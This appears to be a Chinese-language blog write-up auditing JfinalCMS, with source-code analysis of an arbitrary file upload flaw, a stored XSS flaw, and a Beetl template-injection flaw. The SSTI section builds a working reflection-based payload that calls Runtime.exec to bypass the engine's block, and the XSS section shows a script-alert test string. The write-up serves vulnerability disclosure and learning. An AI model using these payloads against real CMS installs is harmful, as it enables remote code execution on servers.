一次意外的代码审计----JfinalCMS审计


前言

   学了一两个月的Java代码审计,对一些审计有了一定了解了。所以决定审计一下JavaWeb CMS,随便申请一下CVE。
   认真严肃的挑选了一波之后,我选择了这个CMS,可能是缘分,也可能是好玩吧。主要看的是这个项目有QQ群,可以加群讨论一下问题,方便更好的研究。先加群不说别的。gitee地址GitHub地址
在这里插入图片描述


环境搭建

  环境的搭建很简单,几种方式可以选择。第一种直接git项目的源码,idea打开项目,然后idea会自动导入下载maven。
在这里插入图片描述
第二种方式是去GitHub或者Gitee上下载发行版。
gitee下载地址
github下载地址


任意文件上传漏洞

   Arbitrary file upload vulnerability文件上传漏洞存在于管理员后台中的模板管理。

在这里插入图片描述

<script>alert(1)</script>


漏洞分析

   断点调试,断点设置在E:\Soures\jfinal_cms\src\main\java\com\jflyfox\modules\filemanager\FileManagerController.java模板页面的操作的都是由FileManangerController.java控制。

  1. HttpServletRequest request = getRequest();有点Java知识的人都认识这个,所以第一个断点设置在这里。
    在这里插入图片描述
  2. 第二个断点,审计的上传漏洞,肯定设置在上传方法里。
    在这里插入图片描述

漏洞源码

判断是否为空的操作

1
2
3
4
5
6
public JSONObject add() {
Iterator<?> it = this.files.iterator();
if (!it.hasNext()) {
this.error(lang("INVALID_FILE_UPLOAD"));
return null;
}

   项目主说这里修改一下就好了,但默认是这样子的,可见开发者自以为是可以防止任意上传文件漏洞,但其实这里默认是这样子设置。
在这里插入图片描述
   默认设置是一次最多上传5个文件,文件大小不超过16MB。
在这里插入图片描述

1
2
3
4
5
6
7
8
long maxSize = NumberUtils.parseLong(MAX_SIZE);
if (getConfig("upload-size") != null) {
maxSize = Integer.parseInt(getConfig("upload-size"));
if (maxSize != 0 && item.getSize() > (maxSize * 1024 * 1024)) {
this.error(sprintf(lang("UPLOAD_FILES_SMALLER_THAN"), maxSize + "Mb"));
error = true;
}
}

   这里maxSize是默认为0。
在这里插入图片描述
在这里插入图片描述
   下面的一段代码是判断是否只能上传图片,在配置文件E:\Soures\jfinal_cms\src\main\resources\conf\filemanager.properties下可以看到文件复写和上传文件大小设置是为0的(0代表的是没有限制),默认是可以上传其他文件(upload-imagesonly=false)。
在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
if (!isImage(item.getName())
&& (getConfig("upload-imagesonly") != null && getConfig("upload-imagesonly").equals("true") || this.params
.get("type") != null && this.params.get("type").equals("Image"))) {
this.error(lang("UPLOAD_IMAGES_ONLY"));
error = true;
}

if (error) {
break;
}

   创建临时文件,后面会用到。作用是先将上传的文件以临时文件的存放着,然后把复制到上传目录下,重新命名删除临时文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
            tmpFile = new File(this.fileRoot + TMP_PATH + "filemanager_" + System.currentTimeMillis() + ".tmp");
File filePath = tmpFile.getParentFile();
if (!filePath.exists()) {
filePath.mkdirs();
}
item.write(tmpFile);
}
}

} catch (Exception e) {
logger.error("INVALID_FILE_UPLOAD", e);
this.error(lang("INVALID_FILE_UPLOAD"));
}

   文件上传后的操作,也就是上面说到的复制重命名,最后将临时文件删除。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
    // file rename
try {
if (!error && tmpFile != null) {
String allowed[] = {".", "-"};

if ("add".equals(params.get("mode"))) {
fileInfo = new JSONObject();
String respPath = "";

String currentPath = "";
String fileName = params.get("_fileName");
String filePath = "";
try {
currentPath = params.get("currentpath");
respPath = currentPath;
currentPath = new String(currentPath.getBytes("ISO8859-1"), "UTF-8"); // 中文转码
currentPath = getFilePath(currentPath);
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
filePath = FileManagerUtils.rebulid(this.fileRoot + currentPath);

LinkedHashMap<String, String> strList = new LinkedHashMap<String, String>();
strList.put("fileName", fileName);
fileName = (String) cleanString(strList, allowed).get("fileName");

if (getConfig("upload-overwrite").equals("false")) {
fileName = this.checkFilename(filePath, fileName, 0);
}

File saveFile = new File(filePath + fileName);
tmpFile.renameTo(saveFile);

fileInfo.put("Path", respPath);
fileInfo.put("Name", fileName);
fileInfo.put("Error", "");
fileInfo.put("Code", 0);
} else if ("replace".equals(params.get("mode"))) {
fileInfo = new JSONObject();
String respPath = "";

String fileName = "";
String newFilePath = "";
String saveFilePath = "";

try {
newFilePath = params.get("newfilepath");
newFilePath = new String(newFilePath.getBytes("ISO8859-1"), "UTF-8"); // 中文转码
respPath = newFilePath.substring(0, newFilePath.lastIndexOf("/") + 1);
fileName = newFilePath.substring(newFilePath.lastIndexOf("/") + 1);
newFilePath = getFilePath(newFilePath);
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}

saveFilePath = FileManagerUtils.rebulid(this.fileRoot + newFilePath);
File saveFile = new File(saveFilePath);

LinkedHashMap<String, String> strList = new LinkedHashMap<String, String>();
strList.put("fileName", fileName);
fileName = (String) cleanString(strList, allowed).get("fileName");

if (getConfig("upload-overwrite").equals("false")) {
fileName = this.checkFilename(saveFile.getParent(), fileName, 0);
}

if (saveFile.exists()) {
// before bakup
bakupFile(saveFile);
// delete src file
saveFile.delete();
}

tmpFile.renameTo(saveFile);

fileInfo.put("Path", respPath);
fileInfo.put("Name", fileName);
fileInfo.put("Error", "");
fileInfo.put("Code", 0);
} else {
this.error(lang("INVALID_FILE_UPLOAD"));
}

}
} catch (Exception e) {
logger.error("INVALID_FILE_UPLOAD", e);
this.error(lang("INVALID_FILE_UPLOAD"));
}

// 临时文件处理
if (tmpFile.exists()) {
tmpFile.delete();
}

return fileInfo;

}

总结

  1. 开发者需要通过限制上传文件大小来限制一些文件的上传,但默认配置是没有限制,很可能是开发者为了自己开发方便,但最后忘记修改设置。
  2. 上传文件,判断是否是上传图片之后,没有在做其他判断限制,然后导致任意文件上传漏洞。
  3. 配置文件中默认是不开启filemanager.upload-imagesonly需要使用者手动设置。
  4. 开发者仅仅在前端做了文件上传的白名单,后端没有没有进行校验,导致黑客可以绕过前端验证,上传任意恶意文件。(前端验证本文没有体现,但真的做了限制,有详情的童鞋可以去看看。)

存储型XSS漏洞

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述


漏洞分析

   漏洞源码存在于E:\Soures\jfinal_cms\src\main\java\com\jflyfox\modules\front\controller\PersonController.java
   第一部分功能有以下几个:

  1. 将提交数据Json化
  2. 根据用户Session判断用户id(数据库内的id)
  3. 判断旧密码和新设置的密码是否正确
  4. 判断Email的格式是否正确
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    public void save() {
    JSONObject json = new JSONObject();
    json.put("status", 2);// 失败

    SysUser user = (SysUser) getSessionUser();
    int userid = user.getInt("userid");
    SysUser model = getModel(SysUser.class);

    if (userid != model.getInt("userid")) {
    json.put("msg", "提交数据错误!");
    renderJson(json.toJSONString());
    return;
    }

    // 第三方用户不需要密码
    if (user.getInt("usertype") != 4) {
    String oldPassword = getPara("old_password");
    String newPassword = getPara("new_password");
    String newPassword2 = getPara("new_password2");
    if (!user.getStr("password").equals(JFlyFoxUtils.passwordEncrypt(oldPassword))) {
    json.put("msg", "密码错误!");
    renderJson(json.toJSONString());
    return;
    }
    if (StrUtils.isNotEmpty(newPassword) && !newPassword.equals(newPassword2)) {
    json.put("msg", "两次新密码不一致!");
    renderJson(json.toJSONString());
    return;
    } else if (StrUtils.isNotEmpty(newPassword)) { // 输入密码并且一直
    model.set("password", JFlyFoxUtils.passwordEncrypt(newPassword));
    }
    }

    if (StrUtils.isNotEmpty(model.getStr("email")) && model.getStr("email").indexOf("@") < 0) {
    json.put("msg", "email格式错误!");
    renderJson(json.toJSONString());
    return;
    }
       model.update();方法是更新数据,将信息写入数据库。具体实习方法可以下一部分代码。
    在这里插入图片描述
1
2
3
4
5
6
7
8
	model.update();
UserCache.init(); // 设置缓存
SysUser newUser = SysUser.dao.findById(userid);
setSessionUser(newUser); // 设置session
json.put("status", 1);// 成功

renderJson(json.toJSONString());
}

   首先方法会进行一个判断,然后创建一个sql语句。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public boolean update() {
filter(FILTER_BY_UPDATE);

if (_getModifyFlag().isEmpty()) {
return false;
}

Table table = _getTable();
String[] pKeys = table.getPrimaryKey();
for (String pKey : pKeys) {
Object id = attrs.get(pKey);
if (id == null)
throw new ActiveRecordException("You can't update model without Primary Key, " + pKey + " can not be null.");
}

Config config = _getConfig();
StringBuilder sql = new StringBuilder();
List<Object> paras = new ArrayList<Object>();
config.dialect.forModelUpdate(table, attrs, _getModifyFlag(), sql, paras);

if (paras.size() <= 1) { // Needn't update
return false;
}

   创建数据库连接,更新数据。 可以看到执行完这步就会更新数据库内容。(利用MySQL语句监控,可以看到最下面的一条是执行的sql语句
在这里插入图片描述
在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
	// --------
Connection conn = null;
try {
conn = config.getConnection();
int result = Db.update(config, conn, sql.toString(), paras.toArray());
if (result >= 1) {
_getModifyFlag().clear();
return true;
}
return false;
} catch (Exception e) {
throw new ActiveRecordException(e);
} finally {
config.close(conn);
}
}

/**

总结

  1. 我们可以看到整个数据更新的过程,我们没有看到任何的防护措施,过滤字符手段。

SSTI模板注入漏洞

前言

   感谢长亭科技大佬@Lilc耐心指导,这个漏洞也是这位大佬挖的,我只是漏洞复现并给大家分享一下笔者构造SSTI模板注入漏洞payload经验。


在这里插入图片描述
   漏洞存在的位置在管理员后台模板修改下,可以修改模板代码,插入恶意代码等操作。插入一段恶意代码可导致远程代码执行。


漏洞详情

在这里插入图片描述
在这里插入图片描述


漏洞分析

   点击保存页面的首先会进入到E:\Soures\jfinal_cms\src\main\java\com\jflyfox\modules\filemanager\FileManagerController.java然后判断请求方法,是POST方法会判断是upload还是saveFile,如果是saveFile方法会跳转到E:\Soures\jfinal_cms\src\main\java\com\jflyfox\modules\filemanager\FileManager.java中的saveFile方法。
在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public JSONObject saveFile() {
JSONObject array = new JSONObject();

try {
String content = this.get.get("content");
content = FileManagerUtils.decodeContent(content);

// before bakup
bakupFile(new File(getRealFilePath()));

FileManagerUtils.writeString(getRealFilePath(), content);
array.put("Path", this.get.get("path"));
array.put("Error", "");
array.put("Code", 0);
} catch (JSONException e) {
logger.error("JSONObject error", e);
this.error("JSONObject error");
} catch (IOException e) {
logger.error("IOException error", e);
this.error("IOException error");
}
return array;
}

   前期可以修改代码机制我们已经了解的很清楚了,没有做任何的防护措施。但这些远远达不到SSTI的要求。判断一个系统或者CMS是否使用了任何一个模板引擎,先有比较大众Java模板引擎有Velocity,Freemarker,而这款模板引擎是beetl,挖掘之间根本没有了解过。据查阅知道,这是一款国产的模板引擎。官方地址,官网说有很多优势,感觉一般般,吹牛的水分比较大吧。在研究这个模板的时候,官方给文档真的很差,有些东西说的一知半解没有说清楚。
在这里插入图片描述
在这里插入图片描述


知识补充

   查阅官方文档,了解这款模板引擎调用Java方法和属性模式。
在这里插入图片描述
   本文构造payload得有简单Java的反射机制基础。推荐文章,文章中用了一个简单案例再现了Java的反射。推荐文章,文章用很多解释是关于Java反射和类加载的知识内容。[新增]推荐视频
[video(video-hkteTk7M-1587384668444)(type-bilibili)(url-https://player.bilibili.com/player.html?aid=63805421)(image-https://ss.csdn.net/p?http://i0.hdslb.com/bfs/archive/3ea308d0ab04ed422f45dc47274940762348f4fa.jpg)(title-【Java反射机制】不懂反射机制不配当java程序员?)]

Payload构造

   这里笔者将payload拆解了,方便更好的解读一下payload。由于beetl模板引擎禁止了java.lang.Runtimejava.lang.Process,所以这里不能直接调用进程来达到远程代码执行的效果。这里采用Java反射机制来达到效果,当然也有其他的方法,比例写文件等。读者们可以自行尝试。

1
2
3
${@java.lang.Class.forName("java.lang.Runtime").getMethod("exec",
@java.lang.Class.forName("java.lang.String")).invoke(
@java.lang.Class.forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null),"calc")}

   先忽视上面的payload,下面会一步步解答,最后完整的payload
在这里插入图片描述

  1. 我们且看第一行,按照上面给出简单案例方法,我们应该这样子就可以了@java.lang.Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(newInstance(),"calc")
  2. 但是直接String.class直接写模板是找不到的,所以我们得继续构造payload,将String.class转化@java.lang.Class.forName("java.lang.String")的形式,然后payload就变成下面这样子了。@java.lang.Class.forName("java.lang.Runtime").getMethod("exec",@java.lang.Class.forName("java.lang.String")).invoke(newInstance(),"calc")
  3. 照道理上面就可以直接使用了,但是呢Runtime类没有无参构造方法,因此不能使用newInstance()方法来实例化。只能通过调用getRuntime()方法来进行实例化。所以newInstance()得替换成@java.lang.Class.forName("java.lang.Runtime").getMethod("getRuntime",null)最终payload就变成了下面这样子。
    1
    ${@java.lang.Class.forName("java.lang.Runtime").getMethod("exec",@java.lang.Class.forName("java.lang.String")).invoke(@java.lang.Class.forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null),"calc")}

总结

   遇到使用了模板的解析CMS可以根据模板解析语言尝试执行命令,若遇到函数警用的情况可以尝试一些Bypass方法,比例一些反射、反序列化、字节码修改等。SSTI注入难的其实如何构造Payload,构造好了之后一切自然而然了。


参考

http://ibeetl.com/guide/#/beetl/basic?id=%e7%9b%b4%e6%8e%a5%e8%b0%83%e7%94%a8java%e6%96%b9%e6%b3%95%e5%92%8c%e5%b1%9e%e6%80%a7


文章作者: SummerSec
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 SummerSec !
  目录